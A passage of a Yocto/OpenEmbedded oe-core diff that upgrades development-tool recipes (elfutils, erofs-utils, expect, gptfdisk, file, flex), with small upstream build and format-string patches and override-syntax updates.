- installed_LOG_COMPILER = $(abs_srcdir)/test-wrapper.sh \
- installed $(tests_rpath) \
- '$(program_transform_name)'
--if STANDALONE
-+if !STANDALONE
- TESTS_ENVIRONMENT = $(installed_TESTS_ENVIRONMENT)
- LOG_COMPILER = $(installed_LOG_COMPILER)
--else !STANDALONE
-+else STANDALONE
- TESTS_ENVIRONMENT = LC_ALL=C; LANG=C; VALGRIND_CMD=$(valgrind_cmd); \
- abs_srcdir=$(abs_srcdir); abs_builddir=$(abs_builddir); \
- abs_top_builddir=$(abs_top_builddir); \
-@@ -463,7 +463,7 @@ installcheck-local:
- $(MAKE) $(AM_MAKEFLAGS) \
- TESTS_ENVIRONMENT="$(installed_TESTS_ENVIRONMENT)" \
- LOG_COMPILER="$(installed_LOG_COMPILER)" check-TESTS
--endif !STANDALONE
-+endif STANDALONE
-
- if STANDALONE
- libdw = -ldw
-@@ -612,3 +612,5 @@ check: check-am coverage
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index 72afd0e..a2dfd43 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -698,3 +698,5 @@ check: check-am coverage
coverage:
-$(srcdir)/coverage.sh
endif
+oecheck:
+ $(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS)
-Index: elfutils-0.176/tests/test-subr.sh
-===================================================================
---- elfutils-0.176.orig/tests/test-subr.sh
-+++ elfutils-0.176/tests/test-subr.sh
+diff --git a/tests/test-subr.sh b/tests/test-subr.sh
+index 411e5f2..a638ff9 100644
+--- a/tests/test-subr.sh
++++ b/tests/test-subr.sh
@@ -91,12 +91,6 @@ installed_testrun()
program="$1"
shift
diff --git a/meta/recipes-devtools/elfutils/files/run-ptest b/meta/recipes-devtools/elfutils/files/run-ptest
index 81b81f2f5d..d5776fdb53 100644
--- a/meta/recipes-devtools/elfutils/files/run-ptest
+++ b/meta/recipes-devtools/elfutils/files/run-ptest
@@ -3,4 +3,4 @@
#This script is used to run elfutils test suites
cd tests
-make -k runtest-TESTS abs_srcdir=$PWD abs_builddir=$PWD srcdir=$PWD top_srcdir=$PWD/../ abs_top_builddir=$PWD/../ elfutils_testrun=installed elfutils_tests_rpath=no program_transform_name=s,^,eu-,
+make -k installcheck-local CC=gcc abs_srcdir=$PWD abs_builddir=$PWD srcdir=$PWD top_srcdir=$PWD/../ abs_top_builddir=$PWD/../ elfutils_testrun=installed elfutils_tests_rpath=no program_transform_name=s,^,eu-,
diff --git a/meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch b/meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch
new file mode 100644
index 0000000000..c3b3c0bd56
--- /dev/null
+++ b/meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch
@@ -0,0 +1,26 @@
+From 821778286843b8e88d0cd73a97d20b5a2fff8ea1 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 6 Dec 2021 20:12:54 +0100
+Subject: [PATCH] fsck/main.c: add missing include
+
+Otherwise musl C library builds fail with missing S_IFMT/S_IFDIR
+definitions.
+
+Upstream-Status: Submitted [email to linux-erofs@lists.ozlabs.org,hsiangkao@linux.alibaba.com]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ fsck/main.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/fsck/main.c b/fsck/main.c
+index aefa881..ad48e35 100644
+--- a/fsck/main.c
++++ b/fsck/main.c
+@@ -6,6 +6,7 @@
+ #include <stdlib.h>
+ #include <getopt.h>
+ #include <time.h>
++#include <sys/stat.h>
+ #include "erofs/print.h"
+ #include "erofs/io.h"
+ #include "erofs/decompress.h"
diff --git a/meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb b/meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb
new file mode 100644
index 0000000000..6ac8a37163
--- /dev/null
+++ b/meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Tools for erofs filesystems"
+LICENSE = "GPLv2+"
+SECTION = "base"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94fa01670a2a8f2d3ab2de15004e0848"
+HOMEPAGE = "https://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git/tree/README"
+
+SRCREV = "ee97fe5fb77c737df0f77d92ab0d92edd3a11be6"
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git;branch=master \
+ file://0001-fsck-main.c-add-missing-include.patch \
+ "
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(\d+(\.\d+)+))"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "util-linux-libuuid"
+
+inherit pkgconfig autotools
+
+PACKAGECONFIG ??= "lz4"
+PACKAGECONFIG[lz4] = "--enable-lz4,--disable-lz4,lz4"
+
+EXTRA_OECONF = "${PACKAGECONFIG_CONFARGS} --disable-fuse"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/expect/expect/01-example-shebang.patch b/meta/recipes-devtools/expect/expect/01-example-shebang.patch
deleted file mode 100644
index 8597f31387..0000000000
--- a/meta/recipes-devtools/expect/expect/01-example-shebang.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-Author: Mike Markley <mike@markley.org>
-Author: Sergei Golovan <sgolovan@debian.org>
-Description: Fixes shebangs in examples (Closes: #152367).
-
-Backported from Debian
-
-Upstream-Status: Pending
-Index: expect5.45/example/beer.exp
-===================================================================
---- expect5.45.orig/example/beer.exp 2006-01-25 13:51:39.000000000 -0800
-+++ expect5.45/example/beer.exp 2013-11-01 17:35:19.817318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect -f
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # 99 bottles of beer on the wall, Expect-style
- # Author: Don Libes <libes@nist.gov>
-Index: expect5.45/example/expectd.proto
-===================================================================
---- expect5.45.orig/example/expectd.proto 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/expectd.proto 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,10 @@
--#!/depot/tcl/src/expect/e --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-+
- # Description: Simple fragment to begin a telnet daemon
- # For more information, see Chapter 17 of "Exploring Expect"
- # Author: Don Libes, NIST
-Index: expect5.45/example/irsh
-===================================================================
---- expect5.45.orig/example/irsh 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/irsh 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Do rsh interactively. For example, consider the following command:
- # rsh <remote> ls -l "|" more
-Index: expect5.45/example/passwd.cgi
-===================================================================
---- expect5.45.orig/example/passwd.cgi 2000-01-06 15:22:07.000000000 -0800
-+++ expect5.45/example/passwd.cgi 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # This is a CGI script to process requests created by the accompanying
- # passwd.html form. This script is pretty basic, although it is
-Index: expect5.45/example/passwdprompt
-===================================================================
---- expect5.45.orig/example/passwdprompt 2003-09-05 12:01:59.000000000 -0700
-+++ expect5.45/example/passwdprompt 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # This script prompts for a passwd from stdin while echoing *'s
-
-Index: expect5.45/example/reprompt
-===================================================================
---- expect5.45.orig/example/reprompt 2000-01-06 15:22:07.000000000 -0800
-+++ expect5.45/example/reprompt 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Name: reprompt
- # Description: reprompt every so often until user enters something
-Index: expect5.45/example/term_expect
-===================================================================
---- expect5.45.orig/example/term_expect 2005-02-15 10:11:31.000000000 -0800
-+++ expect5.45/example/term_expect 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expectk
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec wish "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Name: tkterm - terminal emulator using Expect and Tk text widget, v3.0
- # Author: Don Libes, July '94
-Index: expect5.45/example/vrfy
-===================================================================
---- expect5.45.orig/example/vrfy 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/vrfy 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect -f
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
-
- # separate address into user and host
-Index: expect5.45/example/xrlogin
-===================================================================
---- expect5.45.orig/example/xrlogin 2000-01-06 15:22:08.000000000 -0800
-+++ expect5.45/example/xrlogin 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,10 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-+
- # xrlogin - rlogin but with current DISPLAY
- #
- # You can extend this idea to save any arbitrary information across rlogin
diff --git a/meta/recipes-devtools/expect/expect_5.45.4.bb b/meta/recipes-devtools/expect/expect_5.45.4.bb
index 39ae6151f6..4214ab0f27 100644
--- a/meta/recipes-devtools/expect/expect_5.45.4.bb
+++ b/meta/recipes-devtools/expect/expect_5.45.4.bb
@@ -14,14 +14,13 @@ SECTION = "devel"
LIC_FILES_CHKSUM = "file://license.terms;md5=fbf2de7e9102505b1439db06fc36ce5c"
DEPENDS += "tcl"
-RDEPENDS_${PN} = "tcl"
+RDEPENDS:${PN} = "tcl"
inherit autotools update-alternatives
SRC_URI = "${SOURCEFORGE_MIRROR}/expect/Expect/${PV}/${BPN}${PV}.tar.gz \
file://0001-configure.in.patch \
file://0002-tcl.m4.patch \
- file://01-example-shebang.patch \
file://0001-expect-install-scripts-without-using-the-fixline1-tc.patch \
file://0001-Resolve-string-formatting-issues.patch \
file://0001-expect-Fix-segfaults-if-Tcl-is-built-with-stubs-and-.patch \
@@ -35,11 +34,10 @@ UPSTREAM_CHECK_REGEX = "/Expect/(?P<pver>(\d+[\.\-_]*)+)/"
S = "${WORKDIR}/${BPN}${PV}"
-do_install_append() {
+do_install:append() {
install -d ${D}${libdir}
install -m 0755 ${D}${libdir}/expect${PV}/libexpect*.so ${D}${libdir}/
install -m 0755 ${S}/fixline1 ${D}${libdir}/expect${PV}/
- install -m 0755 ${S}/example/* ${D}${libdir}/expect${PV}/
rm ${D}${libdir}/expect${PV}/libexpect*.so
sed -e 's|$dir|${libdir}|' -i ${D}${libdir}/expect${PV}/pkgIndex.tcl
}
@@ -47,7 +45,7 @@ do_install_append() {
# Apparently the public Tcl headers are only in /usr/include/tcl8.6
# when building for the target and nativesdk.
TCL_INCLUDE_PATH = "--with-tclinclude=${STAGING_INCDIR}/tcl8.6"
-TCL_INCLUDE_PATH_class-native = ""
+TCL_INCLUDE_PATH:class-native = ""
EXTRA_OECONF += "--with-tcl=${STAGING_LIBDIR} \
--enable-shared \
@@ -57,12 +55,12 @@ EXTRA_OECONF += "--with-tcl=${STAGING_LIBDIR} \
"
EXTRA_OEMAKE_install = " 'SCRIPTS=' "
-ALTERNATIVE_${PN} = "mkpasswd"
+ALTERNATIVE:${PN} = "mkpasswd"
ALTERNATIVE_LINK_NAME[mkpasswd] = "${bindir}/mkpasswd"
# Use lower priority than busybox's mkpasswd (created when built with CONFIG_CRYPTPW)
ALTERNATIVE_PRIORITY[mkpasswd] = "40"
-FILES_${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
+FILES:${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
${includedir}/expect.h \
${includedir}/expect_tcl.h \
${includedir}/expect_comm.h \
@@ -70,7 +68,7 @@ FILES_${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
${includedir}/*.h \
"
-FILES_${PN} += "${libdir}/libexpect${PV}.so \
+FILES:${PN} += "${libdir}/libexpect${PV}.so \
${libdir}/expect${PV}/* \
"
diff --git a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch
new file mode 100644
index 0000000000..cbd1365080
--- /dev/null
+++ b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch
@@ -0,0 +1,99 @@
+From e301f7dd650c9e56f954a7c49661d938079e1a9b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:27:51 +0200
+Subject: [PATCH] gptcurses: correct ncurses 6.3 errors
+
+Upstream-Status: Submitted [by email to rodsmith@rodsbooks.com]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ gptcurses.cc | 28 ++++++++++++++--------------
+ 1 file changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/gptcurses.cc b/gptcurses.cc
+index d0de024..70be999 100644
+--- a/gptcurses.cc
++++ b/gptcurses.cc
+@@ -235,22 +235,22 @@ Space* GPTDataCurses::ShowSpace(int spaceNum, int lineNum) {
+ ClearLine(lineNum);
+ if (space->partNum == -1) { // space is empty
+ move(lineNum, 12);
+- printw(BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
++ printw("%s",BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
+ move(lineNum, 24);
+- printw("free space");
++ printw("%s","free space");
+ } else { // space holds a partition
+ move(lineNum, 3);
+ printw("%d", space->partNum + 1);
+ move(lineNum, 12);
+- printw(BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
++ printw("%s",BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
+ move(lineNum, 24);
+- printw(space->origPart->GetTypeName().c_str());
++ printw("%s",space->origPart->GetTypeName().c_str());
+ move(lineNum, 50);
+ #ifdef USE_UTF16
+ space->origPart->GetDescription().extract(0, 39, temp, 39);
+- printw(temp);
++ printw("%s",temp);
+ #else
+- printw(space->origPart->GetDescription().c_str());
++ printw("%s",space->origPart->GetDescription().c_str());
+ #endif
+ } // if/else
+ } // if
+@@ -267,10 +267,10 @@ int GPTDataCurses::DisplayParts(int selected) {
+
+ move(lineNum++, 0);
+ theLine = "Part. # Size Partition Type Partition Name";
+- printw(theLine.c_str());
++ printw("%s",theLine.c_str());
+ move(lineNum++, 0);
+ theLine = "----------------------------------------------------------------";
+- printw(theLine.c_str());
++ printw("%s",theLine.c_str());
+ numToShow = LINES - RESERVED_TOP - RESERVED_BOTTOM;
+ pageNum = selected / numToShow;
+ for (i = pageNum * numToShow; i <= (pageNum + 1) * numToShow - 1; i++) {
+@@ -284,7 +284,7 @@ int GPTDataCurses::DisplayParts(int selected) {
+ } else {
+ currentSpace = ShowSpace(i, lineNum);
+ move(lineNum++, 0);
+- printw(">");
++ printw("%s",">");
+ }
+ DisplayOptions(i);
+ retval = selected;
+@@ -632,7 +632,7 @@ void GPTDataCurses::DisplayOptions(char selectedKey) {
+ } // if/else
+ } // for
+ move(LINES - 1, (COLS - optionDesc.length()) / 2);
+- printw(optionDesc.c_str());
++ printw("%s",optionDesc.c_str());
+ currentKey = selectedKey;
+ } // if
+ } // GPTDataCurses::DisplayOptions()
+@@ -744,11 +744,11 @@ void GPTDataCurses::DrawMenu(void) {
+
+ clear();
+ move(0, (COLS - title.length()) / 2);
+- printw(title.c_str());
++ printw("%s",title.c_str());
+ move(2, (COLS - drive.length()) / 2);
+- printw(drive.c_str());
++ printw("%s",drive.c_str());
+ move(3, (COLS - size.str().length()) / 2);
+- printw(size.str().c_str());
++ printw("%s",size.str().c_str());
+ DisplayParts(currentSpaceNum);
+ } // DrawMenu
+
+@@ -798,7 +798,7 @@ void PromptToContinue(void) {
+ void Report(string theText) {
+ clear();
+ move(0, 0);
+- printw(theText.c_str());
++ printw("%s", theText.c_str());
+ move(LINES - 2, (COLS - 29) / 2);
+ printw("Press any key to continue....");
+ cbreak();
diff --git a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
index 67689e838a..266afbfa11 100644
--- a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
+++ b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
@@ -1,23 +1,24 @@
-From 607b0bed5e8a5f5c3754cd6ffcf499d8134c37f9 Mon Sep 17 00:00:00 2001
+From 6bc6e867c5b3a774c0d7819ee5a3d2885e97caa9 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 30 Mar 2020 17:11:19 +0200
Subject: [PATCH] gptcurses: correctly include curses.h
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
gptcurses.cc | 4 ----
1 file changed, 4 deletions(-)
diff --git a/gptcurses.cc b/gptcurses.cc
-index 1b18cf2..4ebfde1 100644
+index 71aa734..4ebfde1 100644
--- a/gptcurses.cc
+++ b/gptcurses.cc
@@ -23,11 +23,7 @@
#include <iostream>
#include <string>
#include <sstream>
--#ifdef __APPLE__
+-#if defined (__APPLE__) || (__FreeBSD__)
#include <ncurses.h>
-#else
-#include <ncursesw/ncurses.h>
diff --git a/meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb b/meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb
deleted file mode 100644
index c7850f03ca..0000000000
--- a/meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Utility for modifying GPT disk partitioning"
-DESCRIPTION = "GPT fdisk is a disk partitioning tool loosely modeled on Linux fdisk, but used for modifying GUID Partition Table (GPT) disks. The related FixParts utility fixes some common problems on Master Boot Record (MBR) disks."
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-
-DEPENDS = "util-linux"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${PV}/${BP}.tar.gz \
- file://0001-gptcurses-correctly-include-curses.h.patch \
- "
-SRC_URI[md5sum] = "58dac67c85e46ca87b587231549aefe6"
-SRC_URI[sha256sum] = "0e7d3987cd0488ecaf4b48761bc97f40b1dc089e5ff53c4b37abe30bc67dcb2f"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/gptfdisk/files/gptfdisk/"
-UPSTREAM_CHECK_REGEX = "/gptfdisk/(?P<pver>(\d+[\.\-_]*)+)/"
-
-EXTRA_OEMAKE = "'CC=${CC}' 'CXX=${CXX}' gdisk fixparts ${PACKAGECONFIG_CONFARGS}"
-
-PACKAGECONFIG ??= "ncurses popt"
-PACKAGECONFIG[ncurses] = "cgdisk,,ncurses"
-PACKAGECONFIG[popt] = "sgdisk,,popt"
-
-do_install() {
- install -d ${D}${sbindir}
- for f in cgdisk sgdisk; do
- if [ -x $f ]; then
- install -m 0755 $f ${D}${sbindir}
- fi
- done
- install -m 0755 gdisk ${D}${sbindir}
- install -m 0755 fixparts ${D}${sbindir}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb b/meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb
new file mode 100644
index 0000000000..c5a153ab0c
--- /dev/null
+++ b/meta/recipes-devtools/fdisk/gptfdisk_1.0.8.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Utility for modifying GPT disk partitioning"
+DESCRIPTION = "GPT fdisk is a disk partitioning tool loosely modeled on Linux fdisk, but used for modifying GUID Partition Table (GPT) disks. The related FixParts utility fixes some common problems on Master Boot Record (MBR) disks."
+HOMEPAGE = "https://sourceforge.net/projects/gptfdisk/"
+
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+
+DEPENDS = "util-linux"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${PV}/${BP}.tar.gz \
+ file://0001-gptcurses-correctly-include-curses.h.patch \
+ file://0001-gptcurses-correct-ncurses-6.3-errors.patch \
+ "
+SRC_URI[sha256sum] = "95d19856f004dabc4b8c342b2612e8d0a9eebdd52004297188369f152e9dc6df"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/gptfdisk/files/gptfdisk/"
+UPSTREAM_CHECK_REGEX = "/gptfdisk/(?P<pver>(\d+[\.\-_]*)+)/"
+
+EXTRA_OEMAKE = "'CC=${CC}' 'CXX=${CXX}' gdisk fixparts ${PACKAGECONFIG_CONFARGS}"
+
+PACKAGECONFIG ??= "ncurses popt"
+PACKAGECONFIG[ncurses] = "cgdisk,,ncurses"
+PACKAGECONFIG[popt] = "sgdisk,,popt"
+
+do_install() {
+ install -d ${D}${sbindir}
+ for f in cgdisk sgdisk; do
+ if [ -x $f ]; then
+ install -m 0755 $f ${D}${sbindir}
+ fi
+ done
+ install -m 0755 gdisk ${D}${sbindir}
+ install -m 0755 fixparts ${D}${sbindir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/file/file_5.39.bb b/meta/recipes-devtools/file/file_5.39.bb
deleted file mode 100644
index abaa8149a3..0000000000
--- a/meta/recipes-devtools/file/file_5.39.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "File classification tool"
-DESCRIPTION = "File attempts to classify files depending \
-on their contents and prints a description if a match is found."
-HOMEPAGE = "http://www.darwinsys.com/file/"
-SECTION = "console/utils"
-
-# two clause BSD
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;beginline=2;md5=0251eaec1188b20d9a72c502ecfdda1b"
-
-DEPENDS = "file-replacement-native"
-DEPENDS_class-native = "bzip2-replacement-native"
-
-SRC_URI = "git://github.com/file/file.git \
- file://0001-src-compress.c-correct-header-define-for-xz-lzma.patch"
-
-SRCREV = "87731415de945660b00f02207d8e9d986ef9b82e"
-S = "${WORKDIR}/git"
-
-inherit autotools update-alternatives
-
-PACKAGECONFIG ??= "bz2 lzma zlib"
-PACKAGECONFIG[bz2] = "--enable-bzlib, --disable-bzlib, bzip2"
-PACKAGECONFIG[lzma] = "--enable-xzlib, --disable-xzlib, xz"
-PACKAGECONFIG[zlib] = "--enable-zlib, --disable-zlib, zlib"
-
-EXTRA_OECONF += "--disable-libseccomp"
-
-ALTERNATIVE_${PN} = "file"
-ALTERNATIVE_LINK_NAME[file] = "${bindir}/file"
-
-EXTRA_OEMAKE_append_class-target = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
-EXTRA_OEMAKE_append_class-nativesdk = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
-
-FILES_${PN} += "${datadir}/misc/*.mgc"
-
-do_compile_append_class-native() {
- oe_runmake check
-}
-
-do_install_append_class-native() {
- create_cmdline_wrapper ${D}/${bindir}/file \
- --magic-file ${datadir}/misc/magic.mgc
-}
-
-do_install_append_class-nativesdk() {
- create_cmdline_wrapper ${D}/${bindir}/file \
- --magic-file ${datadir}/misc/magic.mgc
-}
-
-BBCLASSEXTEND = "native nativesdk"
-PROVIDES_append_class-native = " file-replacement-native"
-# Don't use NATIVE_PACKAGE_PATH_SUFFIX as that hides libmagic from anyone who
-# depends on file-replacement-native.
-bindir_append_class-native = "/file-native"
diff --git a/meta/recipes-devtools/file/file_5.41.bb b/meta/recipes-devtools/file/file_5.41.bb
new file mode 100644
index 0000000000..653887e97a
--- /dev/null
+++ b/meta/recipes-devtools/file/file_5.41.bb
@@ -0,0 +1,54 @@
+SUMMARY = "File classification tool"
+DESCRIPTION = "File attempts to classify files depending \
+on their contents and prints a description if a match is found."
+HOMEPAGE = "http://www.darwinsys.com/file/"
+SECTION = "console/utils"
+
+# two clause BSD
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;beginline=2;md5=0251eaec1188b20d9a72c502ecfdda1b"
+
+DEPENDS = "file-replacement-native"
+DEPENDS:class-native = "bzip2-replacement-native"
+
+SRC_URI = "git://github.com/file/file.git;branch=master;protocol=https"
+
+SRCREV = "504206e53a89fd6eed71aeaf878aa3512418eab1"
+S = "${WORKDIR}/git"
+
+inherit autotools update-alternatives
+
+PACKAGECONFIG ??= "bz2 lzma zlib"
+PACKAGECONFIG[bz2] = "--enable-bzlib, --disable-bzlib, bzip2"
+PACKAGECONFIG[lzma] = "--enable-xzlib, --disable-xzlib, xz"
+PACKAGECONFIG[zlib] = "--enable-zlib, --disable-zlib, zlib"
+
+EXTRA_OECONF += "--disable-libseccomp"
+
+ALTERNATIVE:${PN} = "file"
+ALTERNATIVE_LINK_NAME[file] = "${bindir}/file"
+
+EXTRA_OEMAKE:append:class-target = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
+EXTRA_OEMAKE:append:class-nativesdk = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
+
+FILES:${PN} += "${datadir}/misc/*.mgc"
+
+do_compile:append:class-native() {
+ oe_runmake check
+}
+
+do_install:append:class-native() {
+ create_cmdline_wrapper ${D}/${bindir}/file \
+ --magic-file ${datadir}/misc/magic.mgc
+}
+
+do_install:append:class-nativesdk() {
+ create_cmdline_wrapper ${D}/${bindir}/file \
+ --magic-file ${datadir}/misc/magic.mgc
+}
+
+BBCLASSEXTEND = "native nativesdk"
+PROVIDES:append:class-native = " file-replacement-native"
+# Don't use NATIVE_PACKAGE_PATH_SUFFIX as that hides libmagic from anyone who
+# depends on file-replacement-native.
+bindir:append:class-native = "/file-native"
diff --git a/meta/recipes-devtools/file/files/0001-src-compress.c-correct-header-define-for-xz-lzma.patch b/meta/recipes-devtools/file/files/0001-src-compress.c-correct-header-define-for-xz-lzma.patch
deleted file mode 100644
index f8ba2f6153..0000000000
--- a/meta/recipes-devtools/file/files/0001-src-compress.c-correct-header-define-for-xz-lzma.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From ffb6ebdb42590cb9f7d3f5177b7b820a9edc4c81 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sun, 18 Oct 2020 23:40:42 +0200
-Subject: [PATCH] src/compress.c: correct header define for xz/lzma
-
-Upstream-Status: Submitted [https://github.com/file/file/pull/98]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/compress.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/compress.c b/src/compress.c
-index 67f21583..9670b72c 100644
---- a/src/compress.c
-+++ b/src/compress.c
-@@ -71,7 +71,7 @@ typedef void (*sig_t)(int);
- #include <bzlib.h>
- #endif
-
--#if defined(HAVE_XZLIB_H) && defined(XZLIBSUPPORT)
-+#if defined(HAVE_LZMA_H) && defined(XZLIBSUPPORT)
- #define BUILTIN_XZLIB
- #include <lzma.h>
- #endif
---
-2.28.0
-
diff --git a/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch b/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch
new file mode 100644
index 0000000000..c8202b6bd5
--- /dev/null
+++ b/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch
@@ -0,0 +1,32 @@
+From 440f3f55739468cd26e22f31871eca8cbbd53294 Mon Sep 17 00:00:00 2001
+From: Oleksiy Obitotskyy <oobitots@cisco.com>
+Date: Wed, 6 Jan 2021 06:12:14 -0800
+Subject: [PATCH] Emit no #line directives if gen_line_dirs is false
+
+If we set --noline we should not print line directives.
+But setting --noline means gen_line_dirs is false.
+
+Upstream-Status: Submitted
+Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
+---
+ src/buf.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/buf.c b/src/buf.c
+index 185083c..4439e28 100644
+--- a/src/buf.c
++++ b/src/buf.c
+@@ -95,8 +95,8 @@ struct Buf *buf_linedir (struct Buf *buf, const char* filename, int lineno)
+ const char *src;
+ size_t tsz;
+
+- if (gen_line_dirs)
+- return buf;
++ if (!gen_line_dirs)
++ return buf;
+
+ tsz = strlen("#line \"\"\n") + /* constant parts */
+ 2 * strlen (filename) + /* filename with possibly all backslashes escaped */
+--
+2.26.2.Cisco
+
